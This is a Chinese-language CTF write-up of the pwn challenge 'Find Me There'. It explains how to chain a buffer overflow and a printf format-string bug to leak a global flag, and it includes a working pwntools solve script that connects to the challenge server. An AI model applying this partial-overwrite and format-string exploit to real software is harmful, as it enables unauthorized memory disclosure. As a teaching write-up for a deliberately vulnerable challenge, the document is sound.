---
# System prepended metadata

title: '[CH] Find Me There'
tags: [Chinese, Pwn, Writeup]

---

# [CH] Find Me There
###### tags: `Writeup` `Pwn` `Chinese`
> [name=Curious]

## 思路和解法

從 `chal.c` 可以知道這題在 `read(0, buf, 0x40)` 有一個 BOF，然後在 `printf(buf)` 這邊有一個 FMT，而且 `flag` 是一個全域變數，也就是說位址和 `main` 有同一個 base。

我們知道執行時會在 stack 上殘留一些有用的位址，而這個 binary 執行時

![](https://hackmd.io/_uploads/HyR7ELNk6.png)

如果使用 `objdump -t chal` 去看 `flag` 和 `main` 的 offset 時

![](https://hackmd.io/_uploads/ryktV8Vk6.png)

又題目會給 `main` 位址的最後兩個 bytes，所以只要用 BOF 把 `main` 位址的最後兩位寫成 `flag` 的然後用 FMT 把 `flag` 印出來就可以了。

Solve Script : 
```python=
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

# r = process('./chal')
r = remote('lotuxctf.com', 10008)

main_addr_partial = int(r.recvline().strip().split(b': ')[1])
flag_addr_partial = main_addr_partial - 0x00000000000011a9 + 0x0000000000004010

r.send(b'%13$s\x00'.ljust(0x38, b'a') + bytes([flag_addr_partial & 0xff, (flag_addr_partial >> 8) & 0xff]))

r.interactive()
```

{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
